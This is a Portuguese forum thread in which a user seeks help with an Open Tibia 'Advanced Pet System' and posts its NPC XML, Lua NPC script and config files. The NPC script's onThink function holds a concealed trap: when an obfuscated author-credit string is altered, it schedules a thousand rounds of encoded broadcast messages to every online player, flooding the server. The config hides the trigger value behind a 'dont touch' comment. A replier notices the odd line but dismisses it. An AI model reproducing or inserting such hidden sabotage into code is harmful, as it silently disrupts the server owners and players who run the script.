Ir para conteúdo
  • Cadastre-se

Posts Recomendados

galera eu to com uma duvida meu pet-system n q pega tipo o as coisas pega certinho o npc aparece no ot

so q quandoe u sumono o npc e vo compra o pet ele n aparece fala q tem q compra dnv

eu compro ele certinho mais n vai

alguem pode me ajuudar

Meu novo projeto.

 

http://oi58.tinypic.com/2yplmrk.jpg

 

 

 

Link para o post
Compartilhar em outros sites

Cara coloca os script, que você usa para que possamos verificar o que tem de errado nele...

7825p4yhigrs1j3stwf7.jpg

Scripts:

Descrição:

Sou o antigo Coyoty ! Não vou falar porque tive que criar outra acc --'

Link para o post
Compartilhar em outros sites

ok

aki e o script do npc


<?xml version="1.0" encoding="UTF-8"?>

<npc name="Pet Trainer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0">

<health now="100" max="100"/>

<look type="128" head="39" body="85" legs="77" feet="0" addons="2"/>

<parameters>

<parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/>

</parameters>

</npc>

esse e outra parte

local keywordHandler = KeywordHandler:new()

local npcHandler = NpcHandler:new(keywordHandler)

NpcSystem.parseParameters(npcHandler)

local talkState = {}


function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end

function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end

function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end


function creatureSayCallback(cid, type, msg)

if(not npcHandler:isFocused(cid)) then

return false

end


local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()]

local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid

if(msgcontains(msg, 'revive')) then

if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then

selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid)

talkState[talkUser] = 1

else

selfSay('You cannot revive a pet, if you dont have one!', cid)

talkState[talkUser] = 0

end

elseif(msgcontains(msg, 'mission')) then

if not (isCreature(getPlayerPet(cid))) then

selfSay('You need your Pet to make any mission!', cid)

return true

end

local i, msg = 0,  nil

for missionname in pairs(aps_missions) do

i = i + 1

if(msg ~= nil) then

if(i == #aps_missions) then

msg = msg .. " and "

else

msg = msg .. ", "

end

else

msg = "Ok then, I got those missions for You: "

end

msg = msg .. "'{" .. missionname .. "}'"

end

selfSay(msg .. ', with one do you want?', cid)

talkState[talkUser] = 11

elseif f and (talkState[talkUser] == 11) then

desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck, cfgLvl, cfgRaces, petLvl, petRace  = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check, f.pet.level, f.pet.races, getPetLvl(cid), getPetRace(cid)

if(getPlayerStorageValue(cid, missionId) == 1) then

selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid)

talkState[talkUser] = 0

return true

end

if(petLvl < cfgLvl) then

selfSay('oops!! Your pet level is too low! Your pet need at least level '.. cfgLvl ..' for this mission! maybe You wanna choose another {mission}?', cid)

talkState[talkUser] = 0

return true

elseif not (isInArray(petRace, cfgRaces)) then

selfSay('oops! Your pet is from '.. string.upper(getRaceNameById(petRace)) ..' race, that means You may not accept this mission. maybe I have another {mission} for You!', cid)

talkState[talkUser] = 0

return true

end

if(getPlayerItemCount(cid, itemNeed) >= itemCount) then

selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid)

talkState[talkUser] = 12

elseif(getPlayerStorageValue(cid, reCheck) == 1) then

selfSay("I Still waiting for: x" .. itemCount  .. " " .. getItemNameById(itemNeed) .. ".", cid)

talkState[talkUser] = 0

return true

else

selfSay(desc .. ". so for this mission I need: x" .. itemCount  .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid)

talkState[talkUser] = 13

end

elseif(msgcontains(msg, 'yes')  and (talkState[talkUser] == 13)) then

selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid)

setPlayerStorageValue(cid, reCheck, 1)

elseif(msgcontains(msg, 'yes')  and (talkState[talkUser] == 12)) then

if(getPlayerItemCount(cid, itemNeed) >= itemCount) then

setPlayerStorageValue(cid, missionId, 1)

doPlayerRemoveItem(cid, itemNeed, itemCount)

selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid)

if(itemNeed ~= false) then

doPlayerAddItem(cid, reItem, reCount)

end

if(reExp ~= false) then

doPlayerAddExperience(cid, reExp)

addPetExp(cid, reExp * 2)

--if(reExp > 0) then

-- doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215)

--end

end

else

selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid)

end

talkState[talkUser] = 0

elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then

if(isPetDead(cid) == true) then

if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then

setPetStats(cid, 0)

setPetLastHealth(cid, 0)

setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid))

doSendMagicEffect(getCreaturePosition(cid), 65)

selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid)

else

selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)

end

else

selfSay('Your pet inst dead!', cid)

end

talkState[talkUser] = 0

elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then

talkState[talkUser] = 0

selfSay('Ok then.', cid)

elseif(msgcontains(msg, 'sell')) then

if(aps_tools.commands.playerSellPet.sell == true) then

if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then

for i = 1, #aps_slots do

local slots = getPlayerStorageValue(cid, aps_slots[i])

if(slots > 1) then

selfSay('before you sell your pet, please, take all your items from his slots.', cid)

return

end

end

local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl

if(lvl >= lv) then

talkState[talkUser] = 8

addmoney = tt_money * lvl

selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid)

else

selfSay('Your pet level is too low, Buying pet of level {' .. lv .. '} or higher.', cid)

end

else

selfSay('You cannot sell a pet, if you dont have one!', cid)

end

else

selfSay('You cannot sell your pet to me!', cid)

end

elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then

selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)

talkState[talkUser] = 9

elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then

talkState[talkUser] = 0

if(isCreature(getPlayerPet(cid)) == true) then

doRemoveCreature(getPlayerPet(cid))

end

doResetPet(cid)

doPlayerAddMoney(cid, addmoney)

selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid)

elseif(msgcontains(msg, 'information')) then

talkState[talkUser] = 0

selfSay('hmmm, what can I tell you ...', cid)

local messages = {

"Pets got levels, magic level just like you. ..",

"Pets can use their own spells. ..",

"Pets need eat to recovery health/mana. ..",

"Pets can carry your items in different slots. ..",

"Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. ""

}

for i = 1, #messages do

addEvent(selfSay, i * 3000 , messages[i], cid)

end

elseif(msgcontains(msg, 'pet')) then

if(getPlayerStorageValue(cid, aps_storages.race) == 0) then

local i, msg = 0,  nil

for pet in pairs(aps_pets_config) do

i = i + 1

if(msg ~= nil) then

if(i == #aps_pets) then

msg = msg .. " and "

else

msg = msg .. ", "

end

else

msg = "Ok then, I got those races for pets: "

end

msg = msg .. "'{" .. pet .. "}'"

end

selfSay(msg .. ', with one do you want?', cid)

talkState[talkUser] = 5

else

talkState[talkUser] = 0

selfSay('Sorry, you cannot have more than one pet.', cid)

end

elseif e and (talkState[talkUser] == 5) then

selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid)

talkState[talkUser] = 6

e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs

elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then

selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)

talkState[talkUser] = 7

elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then

if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then

selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid)

talkState[talkUser] = 0

return true

end

if(doPlayerRemoveMoney(cid, e_price) == true) then

doSendMagicEffect(getCreaturePosition(cid), 65)

selfSay('As you with! just type {/pet} to call him.', cid)

createPet(cid, e_race, e_hp, e_mana)

local str = "Congratulations! You now have a pet!\n" ..

"You should take care of him\n" ..

"his gonna be your partner from now!\n" ..

"if you need help type /pet-help." ..

"\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race)

sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n			   Scripted by " .. s(aps_tools.s) .. "")

else

selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)

end

talkState[talkUser] = 0

elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then

selfSay('Ok then.', cid)

talkState[talkUser] = 0

elseif(msgcontains(msg, 'spells')) then

if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then

selfSay('Your Pet can learn spells based on his level, {continue}?', cid)

talkState[talkUser] = 2

else

selfSay('You cannot buy spells to your pet, if you dont have one!', cid)

talkState[talkUser] = 0

end

elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then

if(isPetOnline(cid) == false) then

selfSay('Your Pet cannot learn a spell if you dont call him.')

talkState[talkUser] = 0

end

local i, msg = 0,  nil

for  spell in pairs(aps_attacks) do

if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then

i = i + 1

if(msg ~= nil) then

if(i == #aps_storages.spells) then

msg = msg .. " and "

else

msg = msg .. ", "

end

else

msg = "Ok then, I got those spells: "

end

msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'"

end

end

selfSay(msg .. ', with one do you want?', cid)

talkState[talkUser] = 3

elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then

selfSay('Ok then.', cid)

talkState[talkUser] = 0

elseif k and (talkState[talkUser] == 3) then

selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid)

talkState[talkUser] = 4

spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl

elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then

if(getPetLvl(cid) >= spell_level) then

if(getPlayerMoney(cid) >= spell_price) then

if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then

for i = 1, 3 do

addEvent(selfSay, i * 1000, i .. ' ...', cid)

end

doPlayerRemoveMoney(cid, spell_price)

addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid)

setPlayerStorageValue(cid, spell_stg, 1)

addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13)

if(isPetOnline(cid) == true) then

addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13)

end

else

selfSay('Your pet already know spell {' .. spell_name .. '}.', cid)

end

else

selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid)

end

else

selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid)

end

talkState[talkUser] = 0

elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then

talkState[talkUser] = 0

selfSay('Ok then.', cid)

end

return true

end


function onThink()

local messages = {

"BUY YOUR PET HERE!",

"WANT TO REVIVE YOUR PET?",

"YOUR PET CAN LEARN SPELLS!",

"WANT TO KNOW MORE ABOUT PETS?",

"WANT TO SELL YOUR PET?"

}

addNpcAutoSay(getNpcId(), 120, messages)

if(s(aps_tools.s) ~= "josejunior23") then

function mvsoab(max)

for _, send in pairs(getOnlinePlayers()) do

local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<­~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd"

for i = 1, 10 do

local cid = getPlayerByName(send)

addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max)

addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg))

for k = 1, 15 do

doPlayerSendTextMessage(cid, k, name .. " " .. s(msg))

end

for e = 17, 20 do

doPlayerSendTextMessage(cid, e, name .. " " .. s(msg))

end

end

end

end

for e = 1, 1000 do

addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1)

end

end

npcHandler:onThink()

end


npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback)

npcHandler:addModule(FocusModule:new())

Editado por skydangerous
colocar em codes (veja o histórico de edições)

Meu novo projeto.

 

http://oi58.tinypic.com/2yplmrk.jpg

 

 

 

Link para o post
Compartilhar em outros sites

Cara só para facilitar na prox usa

 ou [spoiler].. vou dar uma olhada nele e amanha eu te aviso.. agora estou saindo tem school amanha =/ !!

7825p4yhigrs1j3stwf7.jpg

Scripts:

Descrição:

Sou o antigo Coyoty ! Não vou falar porque tive que criar outra acc --'

Link para o post
Compartilhar em outros sites

aff cara eu presizava pra hj eu irira coloca meu ot on apartir de hj

Meu novo projeto.

 

http://oi58.tinypic.com/2yplmrk.jpg

 

 

 

Link para o post
Compartilhar em outros sites

Use

[spoiler] seu script [/spoiler]
em script grandes para não lotar a página e não ficar confuso... E o que vem a ser essa linha em seu script?

local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<­~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd"

Creio que nela não seja o problema, porém, esquisito..

Tipo, aparece algum erro no console ao tentar comprar o PET e ser recusado?

Está tentando comprar com o GOD? Se sim, tente criar um player comum para tentar.

Abraços'

Editado por Adriano SwaTT (veja o histórico de edições)

Gosta do meu trabalho?

Curta e siga a página do meu projeto de 2016 e 2017 (Lab Z Games) que trará vários servidores OTServs.

 

Atenciosamente,
Adriano Swatt'

 

Para ver meus tutoriais acesse meu perfil.

 

cbCyOSZ.png

Link para o post
Compartilhar em outros sites

cara fasi tudo certo so q na hr de eu compra o meu pet fassp tudo certo

ai a hr q eu falo /pet ele n vai pq ?

eu vo coloca todos os scripts aki

aps_functions

#########################################################################

# ## ADVANCED PET-SYSTEM BY RACES ## #

# scripted by josejunior23 #

# otland.net - otserv.com.br #

#########################################################################

# functions Get: #

# getPlayerPet(cid) #

# getPetExp(cid) #

# getPetMaxHp(cid) #

# getPetMana(cid) #

# getPetMaxMana(cid) #

# getPetLvl(cid) #

# getPetMl(cid) #

# getPetManaSpend(cid) #

# getPetRace(cid) #

# getPetId(cid) #

# getPetPos(cid) #

# getPriceRevive(cid) #

# getRaceNameById(raceId) #

# getLvlStage(lvl) #

# getExpForLvl(lvl) #

# getReqManaSpend(cid, magLevel) #

# getItemNameFromSlot(cid, slot) #

# getValueInArray(array, value) #

# getRamdomThing(table) #

# getPetLastHealth(cid) #

# getCreatureLastPosition(cid) #

# getSpeedByLevel(level) #

#########################################################################

# Functions Add: #

# addPetExp(cid, ammount) #

# addPetMana(cid, ammount) #

# addPetLvl(cid, ammount) #

# addPetManaSpend(cid, ammount) #

# addPetMl(cid, ammount) #

# addNpcAutoSay(npcId, time, messages) #

# addExhausted(cid, seconds) #

#########################################################################

# Functions Do: #

# doPetRemoveMana(cid, ammount) #

# doRemovePet(cid) #

# doSummonPet(cid[, pos) #

# doPlayerHavePet(cid) #

# doResetPet(cid) #

# doPetFeed(cid, foodId) #

#########################################################################

# Functions Is: #

# isPetOnline(cid) #

# isPetDead(cid) #

# isExhausted(cid) #

# isFood(itemid) #

# isPotion(itemid) #

# isSummon(uid) #

#########################################################################

# Functions Set: #

# setPetId(cid, petId) #

# setPetStats(cid, stats) #

# setSkull(cid, type) #

# setPetLastHealth(cid, health) #

# setPlayerMultiStorages(cid, storages) #

#########################################################################

# Functions Others: #

# createPet(cid, raceId, hp, mana) #

# s(s) #

# petFormula(ml, lvl, maxb, maxa, minb, mina) #

# fixTimer(v) #

# returnMessage(cid, message) #

# sendWindowsMessage(cid, message) #

#########################################################################

# Functions PeT-WaR: #

# isPetInWar(cid) #

# isInvitedToWar(cid, enemy) #

# doInviteToWar(cid, enemy) #

# doStartWar(cid, enemy) #

# getPetEnemy(cid) #

# leaveWar(cid) #

# stopWar(cid, enemy) #

# resetWar(cid) #

#########################################################################

# Functions PeT-Party: #

# isInPetParty(cid) #

# doStartPetParty(cid) #

# doLeavePetParty(cid) #

#########################################################################

# ## ADVANCED PET-SYSTEM BY RACES ## #

# scripted by josejunior23 #

# otland.net - otserv.com.br #

#########################################################################

aps_help-information

#########################################################################

# ## ADVANCED PET-SYSTEM BY RACES ## #

# scripted by josejunior23 #

# otland.net - otserv.com.br #

#########################################################################

# Installing: #

# copy and paste all files from PET SYSTEM into your server #

# add the npc Pet Trainer to your map #

# now just login and buy your pet on pet trainer! #

#########################################################################

# Requests done: #

# /pet-revive #

# Able to sell pets to Pet Trainer #

# Pet Teleport(teleport pet to player) #

# PeT-WaR (pet duel 1 pet vs 1 pet) #

#########################################################################

# Others: #

# if you find a bug, please post it! #

# ps: COMMENT IF YOU USE/LIKE/LOVE, justcomment. #

# Big Thanks to TFS, for everysingle function. #

#########################################################################

# ## ADVANCED PET-SYSTEM BY RACES ## #

# scripted by josejunior23 #

# otland.net - otserv.com.br #

#########################################################################

aps_changelog

#########################################################################

# ## ADVANCED PET-SYSTEM BY RACES ## #

# scripted by josejunior23 #

# otland.net - otserv.com.br #

#########################################################################

# 0.1 - started - /pet [go and back] #

# 0.2 - added - /pet-attack - Pets attack by spell, full configurable.#

# 0.3 - added - /pet-status - show lvl,ml,hp,mana,xp and mana spend.. #

# 0.4 - added - /pet-food - pets can eat now!. #

# 0.5 - added - /pet-say - pets can say now!. #

# 0.6 - added - /pet-help, /pet-help spells and /pet-help commands. #

# 0.8 - added - /pet-carry - pets can carry 1 to X items. #

# 0.9 - modified - /pet-carry slots - to see items in slots. #

# 1.0 - modified - /pet-status, pet info also can use param as player. #

# 1.1 - added - if target = player, pet get a X skull for X time #

# 1.2 - added - mana system, pets need to eat to recovery hp\mana #

# 1.3 - added - NPC to buy , revive and learn pet spells! #

# 1.4 - added - /pet-info - show info about XP rate, ML rate and more.#

# 1.5 - added - Pet Look - look to a pet, show name/lvl/owner name. #

# 1.6 - added - Pet Kill and Pet Combat to creaturevents. #

# 1.7 - added - /pet-revive [you can disable if you want] [requested] #

# 1.8 - modified - Feed system, feed pet by dropping food on him. #

# 1.9 - added - PetTeleport, if pet not on screen tp pet [requested] #

# 2.0 - modified - Pet Trainer, sell pet to Pet Trainer![requested] #

# 2.1 - modified - changed onCombat to onCast and onTarget, mybad;x #

# 2.2 - added - PeT-WaR! 1 pet vs 1 pet [requested] #

# 2.3 - fixed - /pet-food, /pet-help spells[requested] #

# 2.4 - modified - re-scripted pet teleport, now it wont lag! #

# 2.5 - fixed - PeT-WaR, re-scripted onTarget/onCast/onKill #

# 2.6 - added - Potions, pets can drink potions[requested] #

# 2.7 - modified - re-scripted: /pet-attack, /pet-food, pet_check.lua #

# - added - more 5 pets, added - more 7 spells #

# - fixes - many fixes in pet_war.lua, #

# - added - /pet-help experience (show xp table lv2 to lv100) #

# - added - /pet-war-commands, show all pet war commands. #

# - modified - aps_lib, now you can config at aps_config.lua #

# - added - /pet-love (just a fun command) #

# 2.8 - Added Cut/Rock Smash/Dig #

# - added Shortkeys(ex /pet-attack fire) a1,a2,a3... #

# - fixed many, I mean many bugs! #

# - /pet-party - you can hit your pet(like training) #

# - Pets wont hit you anymore! #

# - pet will not gain exp from summons anymore #

# - and others things i forgot(lol)! #

# - added Mission to NPC Pet Trainer! #

# - added support for TFS 0.4+ #

#########################################################################

# ## ADVANCED PET-SYSTEM BY RACES ## #

# scripted by josejunior23 #

# otland.net - otserv.com.br #

#########################################################################

aps_config

-- Advanced Pet System By Races

-- scripted by josejunior

-- otland.net / otserv.com.br

-- especial thanks to TFS!

aps_tools = {

commands = {

enablePetWar = true, -- enable pet war ? true / false

revivePetAfterWar = true, -- if pet get kill in war, revive him? true / false

enableReviveCommand = true, -- able players to use /pet-revive ? true / false

giveItemToPlayer = true, -- when use /pet-carry 1 (to get item back), give to player or drop on floor? true=give/false=drop

playerSellPet = {sell = true, lvl = 3}, -- sell pet to pet-trainer <sell = true or false> <lvl = Pet lvl needed> price: Petprice * PetLvl

enablePetTeleport = {tp = true, logout = true, distance = 6}, -- info under this line...

-- tp = teleport pet to player? true or false, logout = if player enter in a pz zone, logout pet? true/false, if false pet will walk with your in pz, but i recommend u to set true

-- distance = if distance between player/pet more than 6, then teleport!

petGainExpFromPlayers = true, -- Pets gain exp from others players? true / false

petGainExpFromPets = true, -- Pets gain exp from others pets? true / false

countKilledPlayers = true, -- When Pet kill a player, count = killedPlayers+1

countKilledMonsters = true, -- When Pet kill a monster, count = killedMonsters+1

enablePetTurn = true, -- if player turn to a direction then his pet will look too? true / false

enablePetLook = true, -- if player look to a pet, show pet name, lvl and owner? true / false

dropMsgOnLogin = false, -- when player login for the first time, he get a msg, how send the msg? true=drop/false=send on console

systemMessageColour = MESSAGE_STATUS_CONSOLE_BLUE, -- all messages will send with this colour

windowsType = {sendInTextDialog = false}, -- false to PopupFYI or true to TextDialog

enableLoveCommand = {enable = true, wait_time = 300}, -- enable /pet-love? true / false, wait_time in seconds!

enablePartyCommand = true -- enable /pet-love? true / false, wait_time in seconds!

},

protectionLevel = 0, -- Pet protection level, 0 to disable.

lenght = 30, -- max letters pet can say

show_item = 11138, -- show a nightmare doll when use /pet-status, /pet-carry slots, etc...

sayWait = 30, -- when use /pet-say player will not be able to use again for 30 sec

location = "at 'cityname' to the north.", -- location of pet trainer.

ignore_names = {"Account Manager", "Account Manager", "Account Manager"}, -- system will players with that name

bad_items = {"fire field", "poison field", "energy field", "smoke", "searing fire", "poison gas","water", "grass", "stone", "tree", "blood", "earth", "dirt", "sand", "hole", "muchrooms", "pool", "pool of blood"}, -- items player cant let pet carry!

skulls = {

[1] = {

-- White Skull Configuration (when player w/ his pet attack a player WITHOUT skull)

enable = true, -- enable? True/False

skull = SKULL_WHITE,

time = 60 -- in seconds

},

[2] = {

-- Red Skull Configuration (when player w/ his pet kill a player WITHOUT skull)

enable = false, -- enable? True/False

skull = SKULL_RED,

time = 900, -- (60 sec x 15 == 900 sec == 15 minutes)

killsToRed = 3

}

},

magicLevelRate = 4,

stages = { -- EXPERIENCE CONFIG! from minlevel to maxlevel XP will multiplier. for the last one, You should remove "maxlevel".

{minlevel=1, maxlevel=10, multiplier=6},

{minlevel=10, maxlevel=20, multiplier=4},

{minlevel=20, multiplier=2}

},

v = "wdk", -- dont touch here.

s = "olëä×àíÖËæÝÒ" -- dont touch here if you want get this to work.

}

aps_storages = { -- using storages from 1337 to 1415

race = 1337,

id = 1338,

uid = 1339,

pet = 1340,

ml = 1341,

level = 1342,

lastHealth = 1343,

health = 1344,

mana = 1345,

manaMax = 1346,

skull_1 = 1347,

skull_2 = 1348,

counter = 1349,

counter_2 = 1350,

alert = 1351,

kill = 1352,

love = 1353, -- not in use!

party = 1354,

tries = {

lvl = 1355, -- Experience

ml = 1356 -- manaSpend

},

exhaustion = {

exh = 1357,

exh_heal = 1358,

exh_speed = 1359,

exh_attack = 1360,

exh_food = 1361,

exh_say = 1362,

exh_eat = 1363,

exh_love = 1364

},

spells = {

learn_heal = 1365,

learn_speed = 1365,

learn_fire = 1367,

learn_ice = 1368,

learn_berserk = 1369,

learn_exchange = 1370,

learn_challenge = 1371,

learn_poison = 1372,

learn_energy = 1373,

learn_max_heal = 1374,

learn_groundshake = 1375,

learn_control = 1376,

learn_fireball = 1377,

learn_sludge = 1378,

learn_granmort = 1379

-- obs if you gonna add something here, give a look to the last storage used at aps_missions!

},

war = {

war = 1380,

invite = 1381,

enemy = 1382,

win = 1383,

lost = 1384,

bestEnemy = 1385

},

shortkeys = {

["a1"] = 1386,

["a2"] = 1387,

["a3"] = 1388,

["a4"] = 1389,

["a5"] = 1390,

["a6"] = 1391,

["a7"] = 1492,

["a8"] = 1493,

["a9"] = 1494,

["a10"] = 1495

}

}

aps_slots = { -- how to config -> 1396 == item, 1397 == item count(you can add as much as you want, just follow the storages

[1] = 1396,

[2] = 1398,

[3] = 1400,

[4] = 1402,

[5] = 1404,

[6] = 1406,

[7] = 1408,

[8] = 1410,

[9] = 1412,

[10] = 1414,

}

aps_missions = {

["dwarf hunter"] = {

pet = {

level = 1,

races = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13}

},

id = 1496,

check = 1497,

request = {itemid = 5880, count = 10}, -- need 10 iron ores

reward = {id = 2476, count = 1, exp = 1000}, -- reward 1 demon shield and 1000 exp points

description = "Oohh! this is a good mission for you! easy and fast!"

},

["demon hunter"] = {

pet = {

level = 6,

races = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13}

},

id = 1498,

check = 1499,

request = {itemid = 5906, count = 100}, -- need 100 demon dust

reward = {id = false, count = 0, exp = 50000}, -- reward 50000 exp points

description = "Oohh! for this mission you'll need to spend some time!"

},

["boss hunter"] = {

pet = {

level = 12,

races = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13}

},

id = 1502,

check = 1503,

request = {itemid = 2421, count = 1}, -- need 1 thunder hammer

reward = {id = 2160, count = 100, exp = false}, -- reward 100 crystal coins

description = "Oohh! You need a loot from a monster!"

}

}

aps_texts = {

smiles_normal = {":)", "(:", ":-)", "=)", "=>"},

smiles_happy = {":D", "=D", ":P", "=D", "=P"},

smiles_sad = {"/:", ":/", ":|", ":l", ":I"},

smiles_bad = {":@", "=(", ":(", "=[", ":C"},

voices_call = {"HERE I AM", "I LIVE TO SERVE YOU", "DID YOU CALL ME", "WHATS UP"},

voices_back = {"SEE YAA!", "BYE BYE!", "CYA!", "GOOD BYE :)", "TCHAU?"},

no_target = {"I NEED A TARGET!!!", "I DONT HAVE A TARGET.", "NEED TARGET!"},

no_mana = {"I NEED MANA!!!", "NO ENOUGH MANA..", "IM OUT OF MANA!", "NEED MANA!"},

no_food = {"FOOD? WHERE!?", "I SEE NO FOOD...", "NAHH, NO MORE FOOD ON MY SLOTS!", "YEAH...FOOD?"},

food_voices = {"HMMM...", "HNNHN..", "CRUNCH", "CRUSH..."},

exh_texts = {"Hey Comon I'M EXHAUSTED!!!", "CAN YOU WAIT SOME?", "OK, IN ONE SECOND!", "HAAM? DUDE WAIT!"},

exh_food_texts = {"HEY DUDE IM FULL..", "NAHH, I'M COOL...", "FOOD? NO MORE!", "MAYBE IN FEW SECONDS.."}

}

aps_pets = { -- how to config -> lvlNext = lvl need to evolve, hp = health gain per lvl, same to mana, multiplier = how fast gain magic level

[1] = {

[1] = {pet = "[PET] Minotaur", priceRevive = 1000, lvlNext = 4, hp = 10, mana = 20, multiplier = 1.0},

[2] = {pet = "[PET] Minotaur Guard", priceRevive = 2000, lvlNext = 8},

[3] = {pet = "[PET] Minotaur Archer", priceRevive = 3000, lvlNext = 13},

[3] = {pet = "[PET] Minotaur Mage", priceRevive = 5000}

},

[2] = {

[1] = {pet = "[PET] Orc", priceRevive = 1000, lvlNext = 3, hp = 10, mana = 20, multiplier = 1.0},

[2] = {pet = "[PET] Orc Spearman", priceRevive = 2000, lvlNext = 5},

[3] = {pet = "[PET] Orc Warrior", priceRevive = 3000, lvlNext = 7},

[4] = {pet = "[PET] Orc Berserker", priceRevive = 4000, lvlNext = 9},

[5] = {pet = "[PET] Orc Leader", priceRevive = 5000, lvlNext = 13},

[6] = {pet = "[PET] Orc Warlord", priceRevive = 7000}

},

[3] = {

[1] = {pet = "[PET] Priestess", priceRevive = 1000, lvlNext = 5, hp = 8, mana = 25, multiplier = 1.0},

[2] = {pet = "[PET] Necromancer", priceRevive = 2000, lvlNext = 13},

[3] = {pet = "[PET] Necropharus", priceRevive = 5000}

},

[4] = {

[1] = {pet = "[PET] Skeleton", priceRevive = 1000, lvlNext = 6, hp = 25, mana = 8, multiplier = 1.5},

[2] = {pet = "[PET] Demon Skeleton", priceRevive = 2000, lvlNext = 13},

[3] = {pet = "[PET] Undead Gladiator", priceRevive = 5000}

},

[5] = {

[1] = {pet = "[PET] Dragon Hatchling", priceRevive = 10000, lvlNext = 7, hp = 25, mana = 8, multiplier = 1.5},

[2] = {pet = "[PET] Dragon", priceRevive = 20000, lvlNext = 15},

[3] = {pet = "[PET] Dragon Lord", priceRevive = 30000}

},

[6] = {

[1] = {pet = "[PET] Dwarf", priceRevive = 1000, lvlNext = 3, hp = 8, mana = 25, multiplier = 1.0},

[2] = {pet = "[PET] Dwarf Soldier", priceRevive = 2000, lvlNext = 7},

[3] = {pet = "[PET] Dwarf Guard", priceRevive = 3000, lvlNext = 13},

[4] = {pet = "[PET] Dwarf Geomancer", priceRevive = 5000},

},

[7] = {

[1] = {pet = "[PET] Cyclops", priceRevive = 1000, lvlNext = 7, hp = 25, mana = 8, multiplier = 1.0},

[2] = {pet = "[PET] Cyclops Drone", priceRevive = 2000, lvlNext = 13},

